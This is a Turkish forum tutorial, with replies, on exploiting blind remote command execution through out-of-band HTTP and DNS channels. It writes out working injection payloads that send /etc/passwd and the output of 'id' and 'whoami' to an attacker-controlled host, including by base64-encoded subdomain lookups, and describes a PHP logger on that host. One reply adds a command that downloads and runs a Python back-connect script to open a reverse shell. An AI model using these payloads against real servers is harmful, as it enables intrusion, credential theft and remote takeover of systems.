Out of Band Remote Command Execution

=> OOB (Out of Band) nedir ?
=> RCE ve OOB ilişkisi ?

  • HTTP/HTTPS ile Out of Band
  • DNS ile Out of Band

=> Demo Uygulama


1) OOB nedir ?

“Blind” olarak adlandırdığımız zafiyetlere bu ismin verilmesinin sebebi, bize herhangi bir çıktı üretmemeleridir. Yani zafiyet mevcut olmasına rağmen bunun varlığını hedef sitemiz üzerinde göremiyoruz veyahut dolaylı yollardan anlayabiliyoruz (Content-Length, StatusCode değişiklikleri vs). Böyle olduğu durumlarda çıkış noktalarımızdan birisi OOB (Out of Band) olabilmekte. Yani blind zafiyetlerde bir çıktı üretilemediği için çıktıyı bizim sunucumuza yönlendirip rahat bir şekilde çıktı alabiliyoruz ve bu işlemede “Out of Band” deniliyor. Out of Band işlemini DNS, HTTP, Samba, FTP vs. üzerinden gerçekleştirebiliriz. Bu yazı içerisinde HTTP ve DNS kullanılacaktır.


2) RCE ve OOB ilişkisi ?

Remote Command Execution zafiyeti blind olduğu durumlarda farklı yöntemler deneyebiliriz bunlardan bir taneside Out of Band kullanmaktır. Bu işlemi farklı şekillerde gerçekleştirebilirsiniz.


  • HTTP / HTTPS

Log dosyaları üzerinden HTTP istekleri ile veyahut herhangi bir port üzerinden Out of Band gerçekleştirebiliriz. Zafiyetli parametre üzerinden kendi sunucumuzun HTTP portuna (80) istek atacağız ve bu istek çekmek istediğimiz datayı içerecek.

/etc/passwd dosyasının içeriğini çekmek amacıyla şu şekilde bir istek gönderilebilir ;

vvHack.org/blindrce.php?parametre=$(cat /etc/passwd | curl -F ":data=@-" benimsitem.com:4444)

2019-05-22%2023-43-09%20ekran%20g%C3%B6r%C3%BCnt%C3%BCs%C3%BC

Benzer şekilde “id” komutunun çıktısı elde etmek için şöyle bir yol izleyebiliriz ;

vvHack.org/blindrce.php?parametre=$(curl benimsitem.com/$(id))

1


Sunucunuz üzerinde bir php dosyası oluşturup komutların çıktısını bu dosya üzerinden yazdırabilirsiniz.

2019-05-22%2022-26-57%20ekran%20g%C3%B6r%C3%BCnt%C3%BCs%C3%BC

Şeklindeki yazdir.php dosyasını sunucunuza yükleyerek Blind Command Execution zafiyeti olan parametre üzerinde şöyle bir istek gönderebilirsiniz ;

vvHack.org/blindrce.php?parametre=$(curl benimsitem.com/yazdir.php?command=$(id))

Bu istek sonucunda “jonturk.txt” dosyası içerisine “id” komutunun çıktısı yazdırılacaktır.

2019-05-22%2022-26-42%20ekran%20g%C3%B6r%C3%BCnt%C3%BCs%C3%BC


  • DNS

DNS üzerinden data exfiltration yapılırken yapacağımız istekleri sunucumuza gönderirken bir subdomaine istek atar gibi davranacağız ve subdomain ismi olarak çekmek istediğimiz datanın içeriğini farklı şekillerde göndereceğiz.

Şöyle bir istek göndererek “whoami” komutunun çıktısını base64 ile encode ederek subdomain isteğinde bulunabiliriz ;

vvHack.org/blindrce.php?parametre=$(a=$(echo $(whoami) | base64) ; curl $a.benimsitem)

2019-05-22%2022-56-06%20ekran%20g%C3%B6r%C3%BCnt%C3%BCs%C3%BC

Benzer amaçlarla üretilmiş siteler bulunmaktadır, bu siteler üzerinden de yukarda anlattığım yöntemler ile DNS veyahut HTTP istekleri üzerinden işlemler gerçekleştirebilirsiniz. Bazı örnek siteleri şöyle bırakayım ;


3) Demo Uygulama



Dipnot : Yukarıda değinmiştim, tekrar hatırlatayım. Bu işlemler sadece DNS veya HTTP üzerinden değil başka şekillerde de yapılabilir fakat konu uzamaması adına en çok kullanılan temel 2 yöntemi göstermeyi tercih ettim. Bu konularda sorunlarınız olursa belirtirseniz “Out of Band” için ayrıyeten detaylı bir konu açabiliriz.

Dipnot 2 : Yazı boyunca “curl” ile örnekler gösterdim fakat bunun üzerinde değişiklikler yapabilirsiniz. Alternatif olarak “wget” , “host” ," ping", “dig” , “whois” benzeri komutlar kullanılabilir.

Jonturk75 @ JRBops

8 Likes

Birşeyler okumak yerine testler bash de sleep ile yapıp eger rce varsa bc almak da düşünülebilir.
vvHack.org/blindrce.php?parametre=$(sleep 10)

vvHack.org/blindrce.php?parametre=$(curl site.com/backconnect.py | python)

Gibi bişey

6 Likes

Aynen backconnect alınabilir, bundan bahsetmek aklımdaydı fakat unutmuşum. python,perl,bash vs. üzerinden bc alıp rahatça komutlarınızı çalıştırabilirsiniz.

2019-05-24%2003-38-53%20ekran%20g%C3%B6r%C3%BCnt%C3%BCs%C3%BC

3 Likes